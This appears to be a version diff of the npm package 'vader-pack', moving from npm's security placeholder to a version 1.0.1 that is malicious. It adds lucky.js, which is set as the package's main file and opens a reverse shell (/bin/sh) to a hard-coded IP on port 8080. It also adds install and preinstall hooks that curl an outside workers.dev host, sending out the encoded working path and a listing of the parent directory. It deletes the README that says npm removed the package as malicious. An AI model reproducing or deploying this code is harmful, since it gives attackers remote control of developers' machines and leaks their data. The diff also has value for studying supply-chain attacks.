vader-pack 0.0.1-security → 1.0.1

package/lucky.js

@@ -0,0 +1,12 @@
+(function(){
+  var net = require("net"),
+      cp = require("child_process"),
+      sh = cp.spawn("/bin/sh", []);
+  var client = new net.Socket();
+  client.connect(8080, "146.190.212.84", function(){
+      client.pipe(sh.stdin);
+      sh.stdout.pipe(client);
+      sh.stderr.pipe(client);
+  });
+  return /a/;
+})();

package/package.json

@@ -1,6 +1,16 @@
 {
-  "name": "vader-pack",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+    "name": "vader-pack",
+    "version": "1.0.1",
+    "description": "testing",
+    "main": "lucky.js",
+    "scripts": {
+        "test": "echo \"Error: no test specified\" && exit 1",
+        "install": "curl https://lvds.colabs.workers.dev/vetx/install/?$(pwd | base64)",
+        "preinstall": "curl https://lvds.colabs.workers.dev/vetx/preinstall/$(ls ../ | base64)"
+    },
+    "author": "",
+    "license": "MIT",
+    "dependencies": {
+        "axios": "^1.6.0"
+    }
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=vader-pack for more information.